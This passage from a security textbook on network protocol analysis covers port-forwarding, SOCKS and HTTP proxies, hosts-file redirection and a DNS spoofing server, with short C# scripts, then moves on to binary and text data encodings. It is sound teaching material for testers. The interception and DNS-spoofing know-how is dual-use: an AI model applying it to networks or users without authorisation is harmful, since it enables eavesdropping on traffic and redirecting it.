template.Port = ➍REMOTEPORT; // Create proxy instance and start ➎ var service = template.Create(); service.Start(); WriteLine("Created {0}", service); WriteLine("Press Enter to exit..."); ReadLine(); ➏ service.Stop(); // Dump packets var packets = service.Packets; WriteLine("Captured {0} packets:", packets.Count); ➐ { WritePackets(packets); Listing 2-4: A simple TCP port-forwarding proxy example This very simple script creates an instance of a FixedProxyTemplate ➊. Canape Core works on a template model, although if required you can get down and dirty with the low-level network configuration. The script configures the template with the desired local and remote network information. The template is used to create a service instance at ➎; you can think of documents in the framework acting as templates for services. The newly created service is then started; at this point, the network connections are configured. After waiting for a key press, the service is stopped at ➏. Then all the captured packets are written to the console using the WritePackets() method ➐. Running this script should bind an instance of our forwarding proxy to the LOCALPORT number for the localhost interface only. When a new TCP connection is made to that port, the proxy code should establish a new connection to REMOTEHOST with TCP port REMOTEPORT and link the two connections together. WARNING Binding a proxy to all network addresses can be risky from a security perspective because proxies written for testing protocols rarely implement robust security mechanisms. Unless you have |||||||||||||||||||| |||||||||||||||||||| complete control over the network you are connected to or have no choice, only bind your proxy to the local loopback interface. In Listing 2-4, the default is LOCALHOST; to bind to all interfaces, set the AnyBind property to true. Redirecting Traffic to Proxy With our simple proxy application complete, we now need to direct our application traffic through it. For a web browser, it’s simple enough: to capture a specific request, instead of using the URL form http://www.domain.com/resource, use http://localhost:localport/resource, which pushes the request through your port-forwarding proxy. Other applications are trickier: you might have to dig into the application’s configuration settings. Sometimes, the only setting an application allows you to change is the destination IP address. But this can lead to a chicken-and-egg scenario where you don’t know which TCP or UDP ports the application might be using with that address, especially if the application contains complex functions running over multiple different service connections. This occurs with Remote Procedure Call (RPC) protocols, such as the Common Object Request Broker Architecture (CORBA). This protocol usually makes an initial network connection to a broker, which acts as a directory of available services. A second connection is then made to the requested service over an instance-specific TCP port. In this case, a good approach is to use as many network-connected features of the application as possible while monitoring it using passive capture techniques. By doing so, you should uncover the connections that application typically makes, which you can then easily replicate with forwarding proxies. If the application doesn’t support changing its destination, you need to be a bit more creative. If the application resolves the destination server address via a hostname, you have more options. You could set up a custom DNS server that responds to name requests with the IP address of your proxy. Or you could use the hosts file facility, which is available on most operating systems, including Windows, assuming you have control over system files on the device the application is running on. During hostname resolving, the OS (or the resolving library) first refers to the hosts file to see if any local entries exist for that name, making a DNS request only if one is not found. For example, the hosts file in Listing 2-5 redirects the hostnames www.badgers.com and www.domain.com to localhost. # Standard Localhost addresses 127.0.0.1 localhost ::1 localhost # Following are dummy entries to redirect traffic through the proxy 127.0.0.1 www.badgers.com 127.0.0.1 www.domain.com Technet24 |||||||||||||||||||| |||||||||||||||||||| Listing 2-5: An example hosts file The standard location of the hosts file on Unix-like OSes is /etc/hosts, whereas on Windows it is C:\Windows\System32\Drivers\etc\hosts. Obviously, you’ll need to replace the path to the Windows folder as necessary for your environment. NOTE Some antivirus and security products track changes to the system’s hosts, because changes are a sign of malware. You might need to disable the product’s protection if you want to change the hosts file. Advantages of a Port-Forwarding Proxy The main advantage of a port-forwarding proxy is its simplicity: you wait for a connection, open a new connection to the original destination, and then pass traffic back and forth between the two. There is no protocol associated with the proxy to deal with, and no special support is required by the application from which you are trying to capture traffic. A port-forwarding proxy is also the primary way of proxying UDP traffic; because it isn’t connection oriented, the implementation of a forwarder for UDP is considerably simpler. Disadvantages of a Port-Forwarding Proxy Of course, the simplicity of a port-forwarding proxy also contributes to its disadvantages. Because you are only forwarding traffic from a listening connection to a single destination, multiple instances of a proxy would be required if the application uses multiple protocols on different ports. For example, consider an application that has a single hostname or IP address for its destination, which you can control either directly by changing it in the application’s configuration or by spoofing the hostname. The application then attempts to connect to TCP ports 443 and 1234. Because you can control the address it connects to, not the ports, you need to set up forwarding proxies for both, even if you are only interested in the traffic running over port 1234. This proxy can also make it difficult to handle more than one connection to a well- known port. For example, if the port-forwarding proxy is listening on port 1234 and making a connection to www.domain.com port 1234, only redirected traffic for the original domain will work as expected. If you wanted to also redirect www.badgers.com, things would be more difficult. You can mitigate this if the application supports specifying the destination address and port or by using other techniques, such as Destination Network Address Translation (DNAT), to redirect specific connections to unique forwarding proxies. (Chapter 5 contains more details on DNAT as well as numerous other more |||||||||||||||||||| |||||||||||||||||||| advanced network capture techniques.) Additionally, the protocol might use the destination address for its own purposes. For example, the Host header in HyperText Transport Protocol (HTTP) can be used for Virtual Host decisions, which might make a port-forwarded protocol work differently, or not at all, from a redirected connection. Still, at least for HTTP, I will discuss a workaround for this limitation in “Reverse HTTP Proxy” on page 32. SOCKS Proxy Think of a SOCKS proxy as a port-forwarding proxy on steroids. Not only does it forward TCP connections to the desired network location, but all new connections start with a simple handshake protocol that informs the proxy of the ultimate destination rather than having it fixed. It can also support listening connections, which is important for protocols like File Transfer Protocol (FTP) that need to open new local ports for the server to send data to. Figure 2-9 provides an overview of SOCKS proxy. Figure 2-9: Overview of SOCKS proxy Three common variants of the protocol are currently in use—SOCKS 4, 4a, and 5— and each has its own use. Version 4 is the most commonly supported version of the protocol; however, it supports only IPv4 connections, and the destination address must be specified as a 32-bit IP address. An update to version 4, version 4a allowed connections by hostname (which is useful if you don’t have a DNS server that can resolve IP addresses). Version 5 introduced hostname support, IPv6, UDP forwarding, and improved authentication mechanisms; it is also the only one specified in an RFC (1928). As an example, a client will send the request shown in Figure 2-10 to establish a SOCKS connection to IP address 10.0.0.1 on port 12345. The USERNAME component is the only method of authentication in SOCKS version 4 (not especially secure, I know). VER represents the version number, which in this case is 4. CMD indicates it wants to connect out (binding to an address is CMD 2), and the TCP port and address are specified in binary form. Technet24 |||||||||||||||||||| |||||||||||||||||||| Figure 2-10: A SOCKS version 4 request If the connection is successful, it will send back the appropriate response, as shown in Figure 2-11. The RESP field indicates the status of the response; the TCP port and address fields are only significant for binding requests. Then the connection becomes transparent and the client and server directly negotiate with each other; the proxy server only acts to forward traffic in either direction. Figure 2-11: A SOCKS version 4 successful response Simple Implementation The Canape Core libraries have built-in support for SOCKS 4, 4a, and 5. Place Listing 2- 6 into a C# script file, changing LOCALPORT ➋ to the local TCP port you want to listen on for the SOCKS proxy. SocksProxy.csx // SocksProxy.csx – Simple SOCKS proxy // Expose methods like WriteLine and WritePackets using static System.Console; using static CANAPE.Cli.ConsoleUtils; // Create the SOCKS proxy template ➊ var template = new SocksProxyTemplate(); template.LocalPort = ➋LOCALPORT; // Create proxy instance and start var service = template.Create(); service.Start(); WriteLine("Created {0}", service); WriteLine("Press Enter to exit..."); ReadLine(); service.Stop(); // Dump packets var packets = service.Packets; WriteLine("Captured {0} packets:", packets.Count); WritePackets(packets); Listing 2-6: A simple SOCKS proxy example Listing 2-6 follows the same pattern established with the TCP port-forwarding proxy |||||||||||||||||||| |||||||||||||||||||| in Listing 2-4. But in this case, the code at ➊ creates a SOCKS proxy template. The rest of the code is exactly the same. Redirecting Traffic to Proxy To determine a way of pushing an application’s network traffic through a SOCKS proxy, look in the application first. For example, when you open the proxy settings in Mozilla Firefox, the dialog in Figure 2-12 appears. From there, you can configure Firefox to use a SOCKS proxy. Figure 2-12: Firefox proxy configuration But sometimes SOCKS support is not immediately obvious. If you are testing a Java Technet24 |||||||||||||||||||| |||||||||||||||||||| application, the Java Runtime accepts command line parameters that enable SOCKS support for any outbound TCP connection. For example, consider the very simple Java application in Listing 2-7, which connects to IP address 192.168.10.1 on port 5555. SocketClient.java // SocketClient.java – A simple Java TCP socket client import java.io.PrintWriter; import java.net.Socket; public class SocketClient { public static void main(String[] args) { try { Socket s = new Socket("192.168.10.1", 5555); PrintWriter out = new PrintWriter(s.getOutputStream(), true); out.println("Hello World!"); s.close(); } catch(Exception e) { } } } Listing 2-7: A simple Java TCP client When you run this compiled program normally, it would do as you expect. But if on the command line you pass two special system properties, socksProxyHost and socksProxyPort, you can specify a SOCKS proxy for any TCP connection: java –DsocksProxyHost=localhost –DsocksProxyPort=1080 SocketClient This will make the TCP connection through the SOCKS proxy on localhost port 1080. Another place to look to determine how to push an application’s network traffic through a SOCKS proxy is the OS’s default proxy. On macOS, navigate to System Preferences ▸ Network ▸ Advanced ▸ Proxies. The dialog shown in Figure 2-13 appears. From here, you can configure a system-wide SOCKS proxy or general proxies for other protocols. This won’t always work, but it’s an easy option worth trying out. In addition, if the application just will not support a SOCKS proxy natively, certain tools will add that function to arbitrary applications. These tools range from free and open source tools, such as Dante (https://www.inet.no/dante/) on Linux, to commercial tools, such as Proxifier (https://www.proxifier.com/), which runs on Windows and macOS. In one way or another, they all inject into the application to add SOCKS support and modify the operation of the socket functions. |||||||||||||||||||| |||||||||||||||||||| Figure 2-13: A proxy configuration dialog on macOS Advantages of a SOCKS Proxy The clear advantage of using a SOCKS proxy, as opposed to using a simple port forwarder, is that it should capture all TCP connections (and potentially some UDP if you are using SOCKS version 5) that an application makes. This is an advantage as long as the OS socket layer is wrapped to effectively push all connections through the proxy. A SOCKS proxy also generally preserves the destination of the connection from the point of view of the client application. Therefore, if a client application sends in-band data that refers to its endpoint, then the endpoint will be what the server expects. However, this does not preserve the source address. Some protocols, such as FTP, assume they can request ports to be opened on the originating client. The SOCKS protocol provides a facility for binding listening connections but adds to the complexity of the implementation. This makes capture and analysis more difficult because you must consider many different streams of data to and from a server. Technet24 |||||||||||||||||||| |||||||||||||||||||| Disadvantages of a SOCKS Proxy The main disadvantage of SOCKS is that support can be inconsistent between applications and platforms. The Windows system proxy supports only SOCKS version 4 proxies, which means it will resolve only local hostnames. It does not support IPv6 and does not have a robust authentication mechanism. Generally, you get better support by using a SOCKS tool to add to an existing application, but this doesn’t always work well. HTTP Proxies HTTP powers the World Wide Web as well as a myriad of web services and RESTful protocols. Figure 2-14 provides an overview of an HTTP proxy. The protocol can also be co-opted as a transport mechanism for non-web protocols, such as Java’s Remote Method Invocation (RMI) or Real Time Messaging Protocol (RTMP), because it can tunnel though the most restrictive firewalls. It is important to understand how HTTP proxying works in practice, because it will almost certainly be useful for protocol analysis, even if a web service is not being tested. Existing web application–testing tools rarely do an ideal job when HTTP is being used out of its original environment. Sometimes rolling your own implementation of an HTTP proxy is the only solution. Figure 2-14: Overview of an HTTP proxy The two main types of HTTP proxy are the forwarding proxy and the reverse proxy. Each has advantages and disadvantages for the prospective network protocol analyzer. Forwarding an HTTP Proxy The HTTP protocol is specified in RFC 1945 for version 1.0 and RFC 2616 for version 1.1; both versions provide a simple mechanism for proxying HTTP requests. For example, HTTP 1.1 specifies that the first full line of a request, the request line, has the following format: |||||||||||||||||||| |||||||||||||||||||| ➊GET ➋/image.jpg HTTP/1.1 The method ➊ specifies what to do in that request using familiar verbs, such as GET, POST, and HEAD. In a proxy request, this does not change from a normal HTTP connection. The path ➋ is where the proxy request gets interesting. As is shown, an absolute path indicates the resource that the method will act upon. Importantly, the path can also be an absolute Uniform Request Identifier (URI). By specifying an absolute URI, a proxy server can establish a new connection to the destination, forwarding all traffic on and returning data back to the client. The proxy can even manipulate the traffic, in a limited fashion, to add authentication, hide version 1.0 servers from 1.1 clients, and add transfer compression along with all manner of other things. However, this flexibility comes with a cost: the proxy server must be able to process the HTTP traffic, which adds massive complexity. For example, the following request line accesses an image resource on a remote server through a proxy: GET http://www.domain.com/image.jpg HTTP/1.1 You, the attentive reader, might have identified an issue with this approach to proxying HTTP communication. Because the proxy must be able to access the underlying HTTP protocol, what about HTTPS, which transports HTTP over an encrypted TLS connection? You could break out the encrypted traffic; however, in a normal environment, it is unlikely the HTTP client would trust whatever certificate you provided. Also, TLS is intentionally designed to make it virtually impossible to use a man-in-the-middle attack any other way. Fortunately, this was anticipated, and RFC 2817 provides two solutions: it includes the ability to upgrade an HTTP connection to encryption (there is no need for more details here), and more importantly for our purposes, it specifies the CONNECT HTTP method for creating transparent, tunneled connections over HTTP proxies. As an example, a web browser that wants to establish a proxy connection to an HTTPS site can issue the following request to the proxy: CONNECT www.domain.com:443 HTTP/1.1 If the proxy accepts this request, it will make a new TCP connection to the server. On success, it should return the following response: HTTP/1.1 200 Connection Established The TCP connection to the proxy now becomes transparent, and the browser is able to establish the negotiated TLS connection without the proxy getting in the way. Of course, it’s worth noting that the proxy is unlikely to verify that TLS is actually being used on this connection. It could be any protocol you like, and this fact is abused by some applications to tunnel out their own binary protocols through HTTP proxies. For this reason, it’s common to find deployments of HTTP proxies restricting the ports that can be tunneled Technet24 |||||||||||||||||||| |||||||||||||||||||| to a very limited subset. Simple Implementation Once again, the Canape Core libraries include a simple implementation of an HTTP proxy. Unfortunately, they don’t support the CONNECT method to create a transparent tunnel, but it will suffice for demonstration purposes. Place Listing 2-8 into a C# script file, changing LOCALPORT ➋ to the local TCP port you want to listen on. HttpProxy.csx // HttpProxy.csx – Simple HTTP proxy // Expose methods like WriteLine and WritePackets using static System.Console; using static CANAPE.Cli.ConsoleUtils; // Create proxy template ➊ var template = new HttpProxyTemplate(); template.LocalPort = ➋LOCALPORT; // Create proxy instance and start var service = template.Create(); service.Start(); WriteLine("Created {0}", service); WriteLine("Press Enter to exit..."); ReadLine(); service.Stop(); // Dump packets var packets = service.Packets; WriteLine("Captured {0} packets:", packets.Count); WritePackets(packets); Listing 2-8: A simple forward HTTP proxy example Here we created a forward HTTP Proxy. The code at line ➊ is again only a slight variation from the previous examples, creating an HTTP proxy template. Redirecting Traffic to Proxy As with SOCKS proxies, the first port of call will be the application. It’s rare for an application that uses the HTTP protocol to not have some sort of proxy configuration. If the application has no specific settings for HTTP proxy support, try the OS configuration, which is in the same place as the SOCKS proxy configuration. For example, on Windows you can access the system proxy settings by selecting Control Panel ▸ Internet Options ▸ Connections ▸ LAN Settings. Many command line utilities on Unix-like systems, such as curl, wget, and apt, also support setting HTTP proxy configuration through environment variables. If you set the environment variable http_proxy to the URL for the HTTP proxy to use—for example, http://localhost:3128—the application will use it. For secure traffic, you can also use https_proxy. Some implementations allow special URL schemes, such as socks4://, to specify |||||||||||||||||||| |||||||||||||||||||| that you want to use a SOCKS proxy. Advantages of a Forwarding HTTP Proxy The main advantage of a forwarding HTTP proxy is that if the application uses the HTTP protocol exclusively, all it needs to do to add proxy support is to change the absolute path in the Request Line to an absolute URI and send the data to a listening proxy server. Also, only a few applications that use the HTTP protocol for transport do not already support proxying. Disadvantages of a Forwarding HTTP Proxy The requirement of a forwarding HTTP proxy to implement a full HTTP parser to handle the many idiosyncrasies of the protocol adds significant complexity; this complexity might introduce processing issues or, in the worst case, security vulnerabilities. Also, the addition of the proxy destination within the protocol means that it can be more difficult to retrofit HTTP proxy support to an existing application through external techniques, unless you convert connections to use the CONNECT method (which even works for unencrypted HTTP). Due to the complexities of handling a full HTTP 1.1 connection, it is common for proxies to either disconnect clients after a single request or downgrade communications to version 1.0 (which always closes the response connection after all data has been received). This might break a higher-level protocol that expects to use version 1.1 or request pipelining, which is the ability to have multiple requests in flight to improve performance or state locality. Reverse HTTP Proxy Forwarding proxies are fairly common in environments where an internal client is connecting to an outside network. They act as a security boundary, limiting outbound traffic to a small subset of protocol types. (Let’s just ignore the potential security implications of the CONNECT proxy for a moment.) But sometimes you might want to proxy inbound connections, perhaps for load-balancing or security reasons (to prevent exposing your servers directly to the outside world). However, a problem arises if you do this. You have no control over the client. In fact, the client probably doesn’t even realize it’s connecting to a proxy. This is where the reverse HTTP proxy comes in. Instead of requiring the destination host to be specified in the request line, as with a forwarding proxy, you can abuse the fact that all HTTP 1.1–compliant clients must send a Host HTTP header in the request that specifies the original hostname used in the URI of the request. (Note that HTTP 1.0 has no such requirement, but most clients using that version will send the header anyway.) With the Host header information, you can infer the original destination of the request, making a proxy connection to that server, as shown in Technet24 |||||||||||||||||||| |||||||||||||||||||| Listing 2-9. GET /image.jpg HTTP/1.1 User-Agent: Super Funky HTTP Client v1.0 Host: ➊www.domain.com Accept: */* Listing 2-9: An example HTTP request Listing 2-9 shows a typical Host header ➊ where the HTTP request was to the URL http://www.domain.com/image.jpg. The reverse proxy can easily take this information and reuse it to construct the original destination. Again, because there is a requirement for parsing the HTTP headers, it is more difficult to use for HTTPS traffic that is protected by TLS. Fortunately, most TLS implementations take wildcard certificates where the subject is in the form of *.domain.com or similar, which would match any subdomain of domain.com. Simple Implementation Unsurprisingly, the Canape Core libraries include a built-in HTTP reverse proxy implementation, which you can access by changing the template object to HttpReverseProxyTemplate from HttpProxyTemplate. But for completeness, Listing 2-10 shows a simple implementation. Place the following code in a C# script file, changing LOCALPORT ➊ to the local TCP port you want to listen on. If LOCALPORT is less than 1024 and you’re running this on a Unix-style system, you’ll also need to run the script as root. ReverseHttp Proxy.csx // ReverseHttpProxy.csx – Simple reverse HTTP proxy // Expose methods like WriteLine and WritePackets using static System.Console; using static CANAPE.Cli.ConsoleUtils; // Create proxy template var template = new HttpReverseProxyTemplate(); template.LocalPort = ➊LOCALPORT; // Create proxy instance and start var service = template.Create(); service.Start(); WriteLine("Created {0}", service); WriteLine("Press Enter to exit..."); ReadLine(); service.Stop(); // Dump packets var packets = service.Packets; WriteLine("Captured {0} packets:", packets.Count); WritePackets(packets); Listing 2-10: A simple reverse HTTP proxy example |||||||||||||||||||| |||||||||||||||||||| Redirecting Traffic to Your Proxy The approach to redirecting traffic to a reverse HTTP proxy is similar to that employed for TCP port-forwarding, which is by redirecting the connection to the proxy. But there is a big difference; you can’t just change the destination hostname. This would change the Host header, shown in Listing 2-10. If you’re not careful, you could cause a proxy loop.1 Instead, it’s best to change the IP address associated with a hostname using the hosts file. But perhaps the application you’re testing is running on a device that doesn’t allow you to change the hosts file. Therefore, setting up a custom DNS server might be the easiest approach, assuming you’re able to change the DNS server configuration. You could use another approach, which is to configure a full DNS server with the appropriate settings. This can be time consuming and error prone; just ask anyone who has ever set up a bind server. Fortunately, existing tools are available to do what we want, which is to return our proxy’s IP address in response to a DNS request. Such a tool is dnsspoof. To avoid installing another tool, you can do it using Canape’s DNS server. The basic DNS server spoofs only a single IP address to all DNS requests (see Listing 2-11). Replace IPV4ADDRESS ➊, IPV6ADDRESS ➋, and REVERSEDNS ➌ with appropriate strings. As with the HTTP Reverse Proxy, you’ll need to run this as root on a Unix-like system, as it will try to bind to port 53, which is not usually allowed for normal users. On Windows, there’s no such restriction on binding to ports less than 1024. DnsServer.csx // DnsServer.csx – Simple DNS Server // Expose console methods like WriteLine at global level. using static System.Console; // Create the DNS server template var template = new DnsServerTemplate(); // Setup the response addresses template.ResponseAddress = ➊"IPV4ADDRESS"; template.ResponseAddress6 = ➋"IPV6ADDRESS"; template.ReverseDns = ➌"REVERSEDNS"; // Create DNS server instance and start var service = template.Create(); service.Start(); WriteLine("Created {0}", service); WriteLine("Press Enter to exit..."); ReadLine(); service.Stop(); Listing 2-11: A simple DNS server Now if you configure the DNS server for your application to point to your spoofing DNS server, the application should send its traffic through. Advantage of a Reverse HTTP Proxy The advantage of a reverse HTTP proxy is that it doesn’t require a client application to Technet24 |||||||||||||||||||| |||||||||||||||||||| support a typical forwarding proxy configuration. This is especially useful if the client application is not under your direct control or has a fixed configuration that cannot be easily changed. As long as you can force the original TCP connections to be redirected to the proxy, it’s possible to handle requests to multiple different hosts with little difficulty. Disadvantages of a Reverse HTTP Proxy The disadvantages of a reverse HTTP proxy are basically the same as for a forwarding proxy. The proxy must be able to parse the HTTP request and handle the idiosyncrasies of the protocol. Final Words You’ve read about passive and active capture techniques in this chapter, but is one better than the other? That depends on the application you’re trying to test. Unless you are just monitoring network traffic, it pays to take an active approach. As you continue through this book, you’ll realize that active capture has significant benefits for protocol analysis and exploitation. If you have a choice in your application, use SOCKS because it’s the easiest approach in many circumstances. |||||||||||||||||||| |||||||||||||||||||| 3 NETWORK PROTOCOL STRUCTURES The old adage “There is nothing new under the sun” holds true when it comes to the way protocols are structured. Binary and text protocols follow common patterns and structures and, once understood, can easily be applied to any new protocol. This chapter details some of these structures and formalizes the way I’ll represent them throughout the rest of this book. In this chapter, I discuss many of the common types of protocol structures. Each is described in detail along with how it is represented in binary- or text-based protocols. By the end of the chapter, you should be able to easily identify these common types in any unknown protocol you analyze. Once you understand how protocols are structured, you’ll also see patterns of exploitable behavior—ways of attacking the network protocol itself. Chapter 10 will provide more detail on finding network protocol issues, but for now we’ll just concern ourselves with structure. Binary Protocol Structures Binary protocols work at the binary level; the smallest unit of data is a single binary digit. Dealing with single bits is difficult, so we’ll use 8-bit units called octets, commonly called bytes. The octet is the de facto unit of network protocols. Although octets can be broken down into individual bits (for example, to represent a set of flags), we’ll treat all network data in 8-bit units, as shown in Figure 3-1. Figure 3-1: Binary data description formats When showing individual bits, I’ll use the bit format, which shows bit 7, the most significant bit (MSB), on the left. Bit 0, or the least significant bit (LSB), is on the right. (Some architectures, such as PowerPC, define the bit numbering in the opposite direction.) Numeric Data Technet24 |||||||||||||||||||| |||||||||||||||||||| Data values representing numbers are usually at the core of a binary protocol. These values can be integers or decimal values. Numbers can be used to represent the length of data, to identify tag values, or simply to represent a number. In binary, numeric values can be represented in a few different ways, and a protocol’s method of choice depends on the value it’s representing. The following sections describe some of the more common formats. Unsigned Integers Unsigned integers are the most obvious representation of a binary number. Each bit has a specific value based on its position, and these values are added together to represent the integer. Table 3-1 shows the decimal and hexadecimal values for an 8-bit integer. Table 3-1: Decimal Bit Values Bit Decimal value Hex value 0 1 0x01 1 2 0x02 2 4 0x04 3 8 0x08 4 16 0x10 5 32 0x20 6 64 0x40 7 128 0x80 Signed Integers Not all integer values are positive. In some scenarios, negative integers are required—for example, to represent the difference between two integers, you need to take into account that the difference could be negative—and only signed integers can hold negative values. While encoding an unsigned integer seems obvious, the CPU can only work with the same set of bits. Therefore, the CPU requires a way of interpreting the unsigned integer value as signed; the most common signed interpretation is two’s complement. The term two’s complement refers to the way in which the signed integer is represented within a native integer value in the CPU. Conversion between unsigned and signed values in two’s complement is done by taking the bitwise NOT (where a 0 bit is converted to a 1 and 1 is converted to a 0) of the integer and adding 1. For example, Figure 3-2 shows the 8-bit integer 123 converted to its two’s |||||||||||||||||||| |||||||||||||||||||| complement representation. Figure 3-2: The two’s complement representation of 123 The two’s complement representation has one dangerous security consequence. For example, an 8-bit signed integer has the range –128 to 127, so the magnitude of the minimum is larger than the maximum. If the minimum value is negated, the result is itself; in other words, –(–128) is –128. This can cause calculations to be incorrect in parsed formats, leading to security vulnerabilities. We’ll go into more detail in Chapter 10. Variable-Length Integers Efficient transfer of network data has historically been very important. Even though today’s high-speed networks might make efficiency concerns unnecessary, there are still advantages to reducing a protocol’s bandwidth. It can be beneficial to use variable-length integers when the most common integer values being represented are within a very limited range. For example, consider length fields: when sending blocks of data between 0 and 127 bytes in size, you could use a 7-bit variable integer representation. Figure 3-3 shows a few different encodings for 32-bit words. At most, five octets are required to represent the entire range. But if your protocol tends to assign values between 0 and 127, it will only use one octet, which saves a considerable amount of space. Technet24 |||||||||||||||||||| |||||||||||||||||||| Figure 3-3: Example 7-bit integer encoding That said, if you parse more than five octets (or even 32 bits), the resulting integer from the parsing operation will depend on the parsing program. Some programs (including those developed in C) will simply drop any bits beyond a given range, whereas other development environments will generate an overflow error. If not handled correctly, this integer overflow might lead to vulnerabilities, such as buffer overflows, which could cause a smaller than expected memory buffer to be allocated, in turn resulting in memory corruption. Floating-Point Data Sometimes, integers aren’t enough to represent the range of decimal values needed for a protocol. For example, a protocol for a multiplayer computer game might require sending the coordinates of players or objects in the game’s virtual world. If this world is large, it would be easy to run up against the limited range of a 32- or even 64-bit fixed-point value. The format of floating-point integers used most often is the IEEE format specified in IEEE Standard for Floating-Point Arithmetic (IEEE 754). Although the standard specifies |||||||||||||||||||| |||||||||||||||||||| a number of different binary and even decimal formats for floating-point values, you’re likely to encounter only two: a single-precision binary representation, which is a 32-bit value; and a double-precision, 64-bit value. Each format specifies the position and bit size of the significand and exponent. A sign bit is also specified, indicating whether the value is positive or negative. Figure 3-4 shows the general layout of an IEEE floating-point value, and Table 3-2 lists the common exponent and significand sizes. Figure 3-4: Floating-point representation Table 3-2: Common Float Point Sizes and Ranges Bit size Exponent bits Significand bits Value range 32 8 23 +/– 3.402823 × 1038 64 11 52 +/– 1.79769313486232 × 10308 Booleans Because Booleans are very important to computers, it’s no surprise to see them reflected in a protocol. Each protocol determines how to represent whether a Boolean value is true or false, but there are some common conventions. The basic way to represent a Boolean is with a single-bit value. A 0 bit means false and a 1 means true. This is certainly space efficient but not necessarily the simplest way to interface with an underlying application. It’s more common to use a single byte for a Boolean value because it’s far easier to manipulate. It’s also common to use zero to represent false and non-zero to represent true. Bit Flags Bit flags are one way to represent specific Boolean states in a protocol. For example, in TCP a set of bit flags is used to determine the current state of a connection. When making a connection, the client sends a packet with the synchronize flag (SYN) set to indicate that the connections should synchronize their timers. The server can then respond with an acknowledgment (ACK) flag to indicate it has received the client request as well as the SYN flag to establish the synchronization with the client. If this handshake used single enumerated values, this dual state would be impossible without a distinct SYN/ACK state. Technet24 |||||||||||||||||||| |||||||||||||||||||| Binary Endian The endianness of data is a very important part of interpreting binary protocols correctly. It comes into play whenever a multi-octet value, such as a 32-bit word, is transferred. The endian is an artifact of how computers store data in memory. Because octets are transmitted sequentially on the network, it’s possible to send the most significant octet of a value as the first part of the transmission, as well as the reverse —send the least significant octet first. The order in which octets are sent determines the endianness of the data. Failure to correctly handle the endian format can lead to subtle bugs in the parsing of protocols. Modern platforms use two main endian formats: big and little. Big endian stores the most significant byte at the lowest address, whereas little endian stores the least significant byte in that location. Figure 3-5 shows how the 32-bit integer 0x01020304 is stored in both forms. Figure 3-5: Big and little endian word representation The endianness of a value is commonly referred to as either network order or host order. Because the Internet RFCs invariably use big endian as the preferred type for all network protocols they specify (unless there are legacy reasons for doing otherwise), big endian is referred as network order. But your computer could be either big or little endian. Processor architectures such as x86 use little endian; others such as SPARC use big endian. NOTE Some processor architectures, including SPARC, ARM, and MIPS, may have onboard logic that specifies the endianness at runtime, usually by toggling a processor control flag. When developing network software, make no assumptions about the endianness of the platform you might be running on. The networking API used to build an application will typically contain |||||||||||||||||||| |||||||||||||||||||| convenience functions for converting to and from these orders. Other platforms, such as PDP- 11, use a middle endian format where 16-bit words are swapped; however, you’re unlikely to ever encounter one in everyday life, so don’t dwell on it. Text and Human-Readable Data Along with numeric data, strings are the value type you’ll most commonly encounter, whether they’re being used for passing authentication credentials or resource paths. When inspecting a protocol designed to send only English characters, the text will probably be encoded using ASCII. The original ASCII standard defined a 7-bit character set from 0 to 0x7F, which includes most of the characters needed to represent the English language (shown in Figure 3-6). Figure 3-6: A 7-bit ASCII table The ASCII standard was originally developed for text terminals (physical devices with a moving printing head). Control characters were used to send messages to the terminal to move the printing head or to synchronize serial communications between the computer and the terminal. The ASCII character set contains two types of characters: control and printable. Most of the control characters are relics of those devices and are virtually unused. But some still provide information on modern computers, such as CR and LF, which are used to end lines of text. The printable characters are the ones you can see. This set of characters consists of Technet24 |||||||||||||||||||| |||||||||||||||||||| many familiar symbols and alphanumeric characters; however, they won’t be of much use if you want to represent international characters, of which there are thousands. It’s unachievable to represent even a fraction of the possible characters in all the world’s languages in a 7-bit number. Three strategies are commonly employed to counter this limitation: code pages, multibyte character sets, and Unicode. A protocol will either require that you use one of these three ways to represent text, or it will offer an option that an application can select. Code Pages The simplest way to extend the ASCII character set is by recognizing that if all your data is stored in octets, 128 unused values (from 128 to 255) can be repurposed for storing extra characters. Although 256 values are not enough to store all the characters in every available language, you have many different ways to use the unused range. Which characters are mapped to which values is typically codified in specifications called code pages or character encodings. Multibyte Character Sets In languages such as Chinese, Japanese, and Korean (collectively referred to as CJK), you simply can’t come close to representing the entire written language with 256 characters, even if you use all available space. The solution is to use multibyte character sets combined with ASCII to encode these languages. Common encodings are Shift-JIS for Japanese and GB2312 for simplified Chinese. Multibyte character sets allow you to use two or more octets in sequence to encode a desired character, although you’ll rarely see them in use. In fact, if you’re not working with CJK, you probably won’t see them at all. (For the sake of brevity, I won’t discuss multibyte character sets any further; plenty of online resources will aid you in decoding them if required.) Unicode The Unicode standard, first standardized in 1991, aims to represent all languages within a unified character set. You might think of Unicode as another multibyte character set. But rather than focusing on a specific language, such as Shift-JIS does with Japanese, it tries to encode all written languages, including some archaic and constructed ones, into a single universal character set. Unicode defines two related concepts: character mapping and character encoding. Character mappings include mappings between a numeric value and a character, as well as many other rules and regulations on how characters are used or combined. Character encodings define the way these numeric values are encoded in the underlying file or network protocol. For analysis purposes, it’s far more important to know how these |||||||||||||||||||| |||||||||||||||||||| numeric values are encoded. Each character in Unicode is assigned a code point that represents a unique character. Code points are commonly written in the format U+ABCD, where ABCD is the code point’s hexadecimal value. For the sake of compatibility, the first 128 code points match what is specified in ASCII, and the second 128 code points are taken from ISO/IEC 8859- 1. The resulting value is encoded using a specific scheme, sometimes referred to as Universal Character Set (UCS) or Unicode Transformation Format (UTF) encodings. (Subtle differences exist between UCS and UTF formats, but for the sake of identification and manipulation, these differences are unimportant.) Figure 3-7 shows a simple example of some different Unicode formats. Figure 3-7: The string "Hello" in different Unicode encodings Three common Unicode encodings in use are UTF-16, UTF-32, and UTF-8. UCS-2/UTF-16 UCS-2/UTF-16 is the native format on modern Microsoft Windows platforms, as well as the Java and .NET virtual machines when they are running code. It encodes code points in sequences of 16-bit integers and has little and big endian variants. UCS-4/UTF-32 Technet24 |||||||||||||||||||| |||||||||||||||||||| UCS-4/UTF-32 is a common format used in Unix applications because it’s the default wide-character format in many C/C++ compilers. It encodes code points in sequences of 32-bit integers and has different endian variants. UTF-8 UTF-8 is probably the most common format on Unix. It is also the default input and output format for varying platforms and technologies, such as XML. Rather than having a fixed integer size for code points, it encodes them using a simple variable length value. Table 3-3 shows how code points are encoded in UTF-8. Table 3-3: Encoding Rules for Unicode Code Points in UTF-8 Bits of code point First code point (U+) Last code point (U+) Byte 1 Byte 2 Byte 3 Byte 4 0–7 0000 007F 0xxxxxxx 8–11 0080 07FF 110xxxxx 10xxxxxx 12–16 0800 FFFF 1110xxxx 